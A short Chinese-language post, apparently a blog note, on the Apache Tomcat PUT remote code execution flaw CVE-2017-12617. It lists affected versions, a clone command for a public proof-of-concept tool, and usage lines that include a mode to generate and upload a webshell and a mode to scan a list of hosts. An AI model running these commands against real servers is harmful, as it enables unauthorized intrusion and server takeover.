Apache Tomcat漏洞 之 CVE-2017-12617_漏洞

Apache Tomcat中發現的CVE-2017-12617嚴重遠程代碼執行（RCE）漏洞

影響啟用了HTTP PUT的系統（通過將預設servlet的“唯讀”初始化參數設定為“false”）受到影響。如果預設servlet的參數唯讀設定為false，或者配置了預設servlet，則在9.0.1（Beta），8.5.23，8.0.47和7.0.82之前的Tomcat版本在所有作業系統上包含潛在危險的遠程代碼執行（RCE） WebDAV servlet的參數readonly被設定為false

POC:
git clone https://github.com/cyberheartmi9/CVE-2017-12617.git
用法：
選項：

-u， - url [::]檢查目標網址是否易受攻擊
-p， - pwn [::]產生webshell並上傳
–l，–list [::] hosts list

[+]用法：

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py –url http://127.0.0.1
./cve-2017-12617.py -u http： //127.0.0.1 -p pwn
./cve-2017-12617.py –url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017- 12617.py –list hosts.txt

如題測試 沒有改漏洞。